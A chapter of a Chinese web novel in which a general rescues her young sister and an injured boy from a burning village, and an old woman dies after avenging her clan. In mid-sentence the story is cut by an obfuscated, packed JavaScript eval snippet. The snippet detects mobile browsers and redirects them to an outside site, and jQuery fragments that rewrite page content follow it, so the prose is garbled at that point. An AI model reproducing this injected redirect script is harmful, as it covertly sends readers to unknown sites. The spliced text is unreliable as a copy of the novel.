32. 第 32 章

作品:《废柴咸鱼躺不平

    来人正是清溪长年在外剿匪的二姐姐,萧清禾。


    萧清禾绝美的面容上满是后怕,翻身下马的动作也没有从前的干净利落。


    一向从容不迫的女将军在面对差点儿被贼人害死的妹妹面前,话音都不受控制地颤抖。


    “溪溪,别怕,没事了,二姐姐在,不怕啊。”


    清溪的脸被泪水糊了一脸,此时完全没有心情思考二姐姐为何突然出现在这里,只摇晃着小胳膊带着浓浓的哭腔不断重复着刚才的话。


    “二姐姐,救救听澜哥哥,他流了好多血,好多血,我推不开他,二姐姐救救他。”


    凄厉的童音夹杂着茫然无措,听得萧清禾心疼,这是她第二次看到在最疼爱的妹妹脸上看到这样惊惧的神色。


    强压下后怕的情绪,上前扶住谢听澜的身体,想将他从清溪跟前拉下来。


    刚抬起小少年的身体,清溪的小身子也被拉动几分,小脑袋在这股力道的带动下仰得更高,看起来像只被扣住后脖颈的小奶猫。


    萧清禾这才发现谢听澜已经彻底昏死过去。


    此刻的他完全凭着本能将清溪牢牢护在身下,不使力根本无法让他放开扣住清溪身体的手。


    谢听澜是把自己的身体当成护盾,在昏迷前的最后一刻护住她幼小无助的妹妹。


    萧清禾轻声叹息,轻轻捏住小少年肘关节,利用巧劲儿卸下小少年加诸在清溪身上的力道,环绕着清溪身体的手臂缓缓垂下,殷清淮伸手扶住谢听澜倒下去的身体仔细检查。


    “头被重物叩击昏过去了,需要尽快治疗。”


    语毕,从怀中翻出一个小瓷瓶将一枚黑色药丸倒出来塞进谢听澜嘴里,给哭成小花猫仍一脸担忧的妹妹解释。


    “是母亲给我的灵药,只要人还活着,用这个药总能吊住一条命,剩下的交给军医,他们很快就到。”


    清溪呆住,这个药她知道,二姐姐上战场之前娘亲特地交给她的,要她在性命攸关之际服用,普天之下仅有五枚,二姐姐处不过两枚而已。


    “这个给了听澜哥哥,二姐姐怎么办?”


    萧清禾爽朗一笑,抬手揉揉清溪的小脑袋,“药只有用在人身上才能发挥真正效用,给谁用都一样,更何况这孩子保护了你,这药给他用才是更好的发挥作用不是嘛?”


    眸光一凝,将清溪拉到身前查看她身上的血迹,“溪溪,你身上的血……”


    清溪抬手一模,这才注意到脖颈间粘腻的血迹,“是听澜哥哥的。”


    萧清禾再次轻叹,望向躺在地上人事不省的小少年眼神复杂。


    若不是谢听澜一直守在妹妹身边,她幼小可怜的妹妹还不知道能不能支撑到他们找到她。


    即使有点儿对不起谢听澜,此时的萧清禾只感到庆幸。


    庆幸她今夜及时赶到。


    庆幸谢听澜一直守在清溪身边。


    萧清禾带的人很快追过来,将谢听澜交给随行军医,又嘱咐一些话之后,军医就带着谢听澜进入小院给他包扎伤口。


    萧清禾见清溪顶着一张花猫脸,委屈又害怕地盯着军医手上的动作,蹲下身捏捏她的小脸安慰道:“溪溪别担心,我麾下军医内伤外伤都懂,那孩子的伤对他而言不是难事儿。”


    “可是……”


    伤在头上,清溪是怕伤到脑神经之类的,当下的医疗水平对于脑内疾病正是束手无策的阶段。


    军医是个年轻男子,面容平凡却唇角含笑,莫名给人一种如沐春风之感,见清溪固执地守在房间不愿离开,瞥了眼一身女装打扮的谢听澜,挑挑眉浅笑着解释。


    “小县主放心,这孩子的伤势只是看着吓人,不算严重。”


    “可那个木棒都被打折了,听澜哥哥流了好多血。”


    清溪想起那根被打折的木棒就觉得脑袋“嗡嗡”的,想想就知道打得多狠。


    军医唇角含笑,依旧耐心,“那根木棒我看了,本就有点腐烂,大力击打下断裂是件很正常的事儿,下官已经将伤口上的碎屑清理干净,待会儿缝合之后就好了,应当没有多大问题。”


    “可是……”


    萧清禾不愿妹妹看到缝合伤口的场面,只能耐心安抚,“放心吧,不会有事儿的。”


    清溪的小脸脏兮兮的,萧清禾身上没有手帕,只能腕绳解开用衣袖将清溪的脸擦干净,“二姐姐向你保证,一定让那个孩子健健康康地陪着。”


    清溪犹豫片刻,终是在两人的安抚中放下心,牵着萧清禾的手离开房间,她一直神经稍稍松懈,终于想起被抛在脑后的满腔疑问。


    “二姐姐,你怎么会来?小哥呢,他有没有事儿?”


    萧清禾让人分开救火后,俯身将清溪抱入怀中,将她上下翻看一遍又一遍,“我还以为你想不起来问这个,是大哥调查时发现京中有另一波人一直在四处搜查你们的下落,顺藤摸瓜找到这里的,至于清淮……”


    萧清禾翻看清溪身上衣物的手指微顿,垂眸敛去眼底情绪,“他没事,受了些伤,现在在公主府休养。”


    清溪没有察觉姐姐的异样,她每次惹事都要被家人上下翻看着检查,对这个动作习以为常,乖顺地任由萧清禾检查,听到“受了些伤”后,小脸瞬间苍白。


    “小哥受伤了?严重吗?”


    “无事,大哥找到他没有浪费多少时间,赶在那群刺客发现他之前找到的人,伤势不致命,不过是不能出去乱跑,需要休养一阵子罢了。”


    闻言,清溪松了口气,却始终放心不下,她家小哥自小皮实,每每出门都要带点儿伤回来,这次既然已经到了需要居家休养的境地,只能说明这次受得伤不算轻。


    清溪也知道萧清禾为了不让她担心,刻意说得含糊了些,抽抽鼻子一把扑进萧清禾怀里。


    “二姐姐,你是因为担心我才回来的吗?京中那些人会不会利用这件事伤害你?”


    “放心吧。”


    萧清禾点点清溪的鼻尖,柔声安抚,“没有关系,是今上亲自下旨召我回来,京中那些人即使有想法也不敢表现在明面。”


    萧清禾不想在这个话题上继续纠缠,抬头望着周边逐渐扑灭的大火皱眉问道:“这个村子究竟是怎么回事?如此隐蔽,若非这场大火,我们一行人会像无头苍蝇般在周围群山中徘徊。”


    因为萧清禾带来人的加入,杏花村的火势已经渐渐得到遏制,逐渐有熄灭的趋势,清溪想起至今仍下落不明的阿嬷和二丫,面色焦急而凝重。


    “二姐姐,救人,村长家是最先起火的地方,阿嬷和二丫姐姐还在那里,我担心她们出事儿。”


    萧清禾一听救人,也不顾不得追问,俯身抱起清溪就往村长家赶,路上沉默着听清溪将今夜发生的来龙去脉全部说了一遍。


    “你确定村里人都在火源出举办寿宴?”


    萧清禾嗅到空气中弥漫的桐油味儿面色凝重,“如果那么多人都在那里参与救火,这火


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687384|172204||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不应该会烧成这样。”


    其实这一点清溪也有感觉,按理说就算所有人都在救火,村里也不该如此安静,最起码村民来回抬水的脚步声是有的,可偏偏除了村口那些守卫,这个村子都安静的可怕。


    就连被她二姐姐刺死的村民都是被村长惩罚未参加寿诞才落的单。


    清溪蓦然想起二丫拿药给村里人下毒一事,小肩膀莫名抖了抖。


    不过还好,火势在众位将士强势加入下逐渐得到控制,到底没有引发大规模山火,萧清禾没有忘记关在牛棚中的三个女子,特地派手下女兵带着衣物往牛棚处救人。


    萧清禾并没有带清溪去村长家,她远远看到将士们从那堆废墟中抬出一具又一具焦黑的尸体。


    清溪今夜已经亲眼看到一个想砍死他们的人死在自己面前,没必要面对这种骇人的场面。


    好在清溪没有追问,乖巧地窝在萧清禾怀里等将士们的消息。


    等大火完全熄灭之时,众人终于大火边沿的院子里找到头发被烧掉一半的二丫和奄奄一息的阿嬷。


    将士们没费多少力气便将两人从地窖中带了出来送到萧清禾面前,二丫连滚带爬地扑向阿嬷,眼泪鼻涕迅速糊了一脸。


    二丫除了头发被烧以外看上去没有受什么伤,反而是阿嬷已经有油尽灯枯的灰败之相。


    阿嬷见到清溪和萧清禾,仅剩的眼睛中闪过一丝了然与庆幸,艰难地支起身招呼清溪到她跟前。


    “小姑娘,二丫…以后就托付给你们了,万望你看在我救了你们的份上给二丫一条生路。”


    话是对清溪说的,眼睛却是郑重地望着萧清禾。


    萧清禾岂会不知她的意思,上前半蹲在阿嬷身边,“婆婆放心,本将军一定会好好照顾二丫姑娘。”


    阿嬷扯扯嘴角,面色终于缓和,连脸上蜿蜒的伤疤都仿佛淡化几分,目光转向杏花村的一片焦土。


    “二十年了,我终于亲手杀了这群畜牲,为我段氏族儿女报仇了。”


    萧清禾微挑眉,总觉得老夫人此言是对她说的,杏花村村民罪该万死,既然老夫人说是她做的,便当是她做的吧。


    阿嬷将二丫叫到跟前,清溪见状连忙退回萧清禾怀里,将空间留给她们。


    “二丫,你的名字其实是‘尔雅’。”


    阿嬷枯瘦的手艰难地在地上写上“尔雅”两个字,唇角挂着恬静的微笑,“你总问我,你明明没有姐姐,为何要叫‘二丫’,这,这便是答案。”


    阿嬷说着,呕出一口黑血,仅剩的眼睛中光芒也黯淡几分,唇边的笑容却始终不退,艰难地从怀里取出一枚玉珏递给二丫…尔雅。


    “你娘,你娘留给你的,她最大的遗愿便是希望你能自由自在地生活,不被任何人和事束缚…这也是我的愿望,尔雅,你是我爱的孩子,值得世间最美好的一切。”


    如回光返照般,阿嬷面色微微泛红,黯淡的眸子也亮了几分,仿佛看到虚无的幻影。


    “尔雅,不要难过,阿嬷只是去该去的地方了,这二十年像一场噩梦,梦醒了,段家阿妍也该去找她的父亲母亲……”


    阿嬷枯瘦的手伸向虚空,左眼中一滴清泪划过,视线逐渐迷离黯淡。


    “…阿城,我的阿城啊,等等娘,娘这就来……”


    最后的尾音轻得仿佛幻觉,清溪窝在萧清禾怀里泣不成声,眼睁睁地看着阿嬷伸出的手垂落,看着阿嬷生机断绝,心中仿佛有东西蠢蠢欲动。